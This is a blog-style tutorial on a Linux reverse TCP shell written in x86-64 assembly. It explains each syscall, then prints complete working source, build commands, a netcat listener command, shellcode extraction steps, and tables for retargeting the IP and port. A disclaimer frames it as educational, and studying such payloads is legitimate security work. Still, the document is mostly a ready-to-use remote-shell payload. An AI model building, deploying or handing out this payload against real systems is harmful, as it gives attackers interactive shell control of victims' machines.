Reverse TCP Shell
Reverse TCP shell implemented in x86-64 assembly. Using only syscalls, no dependencies.
Responsible use
The content of this website is published exclusively for educational and informational purposes. The author does not promote, endorse, or accept responsibility for any misuse or illegal use of the information presented here. Any action taken based on this content must be carried out only in controlled environments, on systems you own, or with explicit and verifiable authorization from the system owner.
Introduction¶
In a reverse shell it is the target machine that initiates the connection to the attacker, rather than the attacker connecting to the target machine. This is useful for evading firewalls that block incoming connections but allow outgoing ones.
Execution Flow¶
┌────────────┐ ┌──────────────────────┐ ┌─────────────────────────┐ ┌──────────────┐
│ socket(41) │──s──▶│ connect(42, s, A:P) │─────▶│ dup2(33): 0,1,2 → s │─────▶│ execve(59) │
└────────────┘ └──────────────────────┘ └─────────────────────────┘ └──────────────┘
0 = (stdin) ──┐
1 = (stdout) ├──────────────► socket(s) ───────────────► ATTACKER (A:P)
2 = (stderr) ─┘
Create TCP Socket¶
socket (no. 41 on Linux x86-64) creates a communication object in the kernel and returns a file descriptor (FD) to operate on it (connect, bind, listen, send/receive). Freshly created, it is only an object in memory identified by its FD. It has a family, type and protocol, but no IP address or port yet.
rax = 41 ; syscall number (socket)
rdi = domain ; address family (AF_*)
rsi = type ; socket type (SOCK_*), optionally OR'd with flags
rdx = protocol ; protocol (0 = default)
Since the goal is to create a TCP/IPv4 socket, the arguments take the following values:
| Register | Value | Meaning |
|---|---|---|
RAX |
41 | Syscall number (socket) |
RDI |
2 | AF_INET (IPv4 family) |
RSI |
1 | SOCK_STREAM (TCP) |
RDX |
0 | Protocol (0 = default) |
The RAX register after the syscall contains the socket file descriptor. It becomes a real endpoint when an action is performed on it (bind, connect or accept).
Connect to the Attacker¶
connect (no. 42 on Linux x86-64) requests that a previously created socket establish a connection to a remote endpoint. In TCP/SOCK_STREAM, it initiates the TCP handshake (SYN → SYN/ACK → ACK).
rax = 42 ; syscall number (connect)
rdi = sockfd ; FD of the socket (returned by socket())
rsi = addr ; pointer to struct sockaddr (sockaddr_in / sockaddr_in6 / sockaddr_un, …)
rdx = addrlen ; size of that struct (16 for sockaddr_in)
sockaddr_in structure
The sockaddr_in structure defines the remote endpoint and spans 16 bytes. We will build it directly on the stack by packing the values into a qword.
The field layout is as follows:
| Field | Bytes | Value | Meaning |
|---|---|---|---|
sin_family |
02 00 |
2 |
AF_INET |
sin_port |
11 5c |
4444 |
Port in network byte order |
sin_addr |
7f 00 00 01 |
127.0.0.1 |
Destination IP |
sin_zero |
00 00 00 00 00 00 00 00 |
0 |
Padding (8 bytes) |
The padding is pushed onto the stack first (8 zero bytes), then the qword containing family+port+IP (8 bytes), forming the total 16 bytes.
Redirect I/O¶
dup2 (no. 33 on Linux x86-64) duplicates an existing file descriptor (FD) onto another specific FD number, closing the target FD first if it was already open. After the call, both point to the same open file description (same offset and file status flags). It is fundamental for input/output redirections, allowing stdin/stdout/stderr to point to files, sockets or pipes.
rax = 33 ; syscall number (dup2)
rdi = oldfd ; existing descriptor to duplicate
rsi = newfd ; target descriptor number
dup2 is called three times to redirect stdin/stdout/stderr to the socket:
| Iteration | RSI | Effect |
|---|---|---|
| 1 | 0 | stdin → socket |
| 2 | 1 | stdout → socket |
| 3 | 2 | stderr → socket |
Execute Shell¶
execve (no. 59 on Linux x86-64) replaces the current process image with that of a new program. If it succeeds, execution continues in the code of the loaded program.
rax = 59 ; syscall number (execve)
rdi = filename ; pointer to string with the path to the executable (C-string)
rsi = argv ; pointer to array of pointers to C-strings (argv[0..n], NULL-terminated)
rdx = envp ; pointer to array of pointers to C-strings (environment variables, NULL-terminated)
Since the goal is to execute /bin/sh on the target system:
| Register | Value | Meaning |
|---|---|---|
RAX |
59 | Syscall number (execve) |
RDI |
pathname |
Pointer to "/bin/sh\0" |
RSI |
argv |
Pointer to argument array (NULL) |
RDX |
envp |
Pointer to environment array (NULL) |
The arguments are pushed onto the stack: first the null-terminator, then the string, and then the NULL pointers for both argv and envp.
The string /bin/sh encodes as 2F 62 69 6E 2F 73 68 (7 bytes). To load it we will use the value 0x68732f6e69622f (little-endian). When pushed, the bytes are stored in memory in the correct order.
Customization¶
Changing the Destination IP¶
Each octet of the IP address is expressed in hexadecimal.
| IP | Value (Hex) |
|---|---|
| 127.0.0.1 | 0x7F000001 |
| 192.168.1.1 | 0xC0A80101 |
| 192.168.18.245 | 0xC0A812F5 |
| 10.0.0.50 | 0x0A000032 |
Changing the Port¶
The port is stored in network byte order (big-endian).
| Port | Value (Hex) |
|---|---|
| 4444 | 0x115c |
| 8080 | 0x1f90 |
| 443 | 0x01BB |
| 9001 | 0x2329 |
Full Code (rev_shell.asm)¶
section .text
global _start
_start:
; SOCKET
mov rax, 41
mov rdi, 2 ;IPV4
mov rsi, 1 ;TCP
xor rdx, rdx ; Default
syscall
; Store socket FD
mov r8, rax
; CONNECT
mov rax, 42
mov rdi, r8
; Stack Low <----------- High
; Expected layout: 02 00 11 5c 7F 00 00 01 00 00 00 00 00 00 00 00
; └──┘ └──┘ └────────┘ └──────────────────────┘
; 0-1 2-3 4-7 8-15 (16 bytes total)
; fam port IP padding
; sockaddr_in field mapping:
; Bytes 0-1: 02 00 → sin_family (AF_INET = 2)
; Bytes 2-3: 11 5c → sin_port (4444)
; Bytes 4-7: 7f 00 00 01 → sin_addr (127.0.0.1)
; Bytes 8-15: 00 00 00 00... → sin_zero (padding)
xor r9,r9 ; 0
push r9 ; 64-bit zero padding (sin_zero)(8 bytes)
mov r10, 0x0100007f5c110002
push r10 ; sin_family + sin_port + sin_addr (8 bytes)
mov rsi, rsp ; address of the top of the stack
mov rdx, 16 ;IPV4 (expects 16 bytes)
syscall
xor rsi,rsi
.dup2: ; stdin(0), stdout(1), stderr(2) redirected to socket
;DUP2
mov rax, 33
mov rdi, r8
syscall
inc rsi
cmp rsi, 3
jl .dup2
; EXECVE
mov rax, 59
push 0 ; null terminator for /bin/sh -> /bin/sh\0
mov r12, 0x68732f6e69622f ; /bin/sh (2F 62 69 6E 2F 73 68) in little-endian
push r12 ; string /bin/sh
mov rdi, rsp
push 0 ; argv = {NULL}
mov rsi, rsp
push 0 ; envp = {NULL}
mov rdx, rsp
syscall
.done:
; EXIT
mov rax, 60 ; syscall: exit
xor rdi, rdi ; exit code = 0 (success)
syscall
Building and Running¶
# Build
nasm -f elf64 rev_shell.asm -o rev_shell.o
ld rev_shell.o -o rev_shell
# On the attacker machine: start listener
nc -lvnp 4444
# On the target machine: run
./rev_shell
Extracting Bytes¶
# Extract only the .text section
objcopy -O binary --only-section=.text rev_shell rev_shell.bin
# Display bytes (C format)
xxd -i rev_shell.bin
# Check size
wc -c rev_shell.bin
Acknowledgements¶
Thanks for making it this far.
If you find errors or want to improve/extend the article, the blog content is open to Pull Requests. All contributions are welcome.
See you in the next article! ;)
See also
Process Injection via Ptrace - Uses an adapted version of this Reverse TCP Shell as the payload in Ptrace-based process injection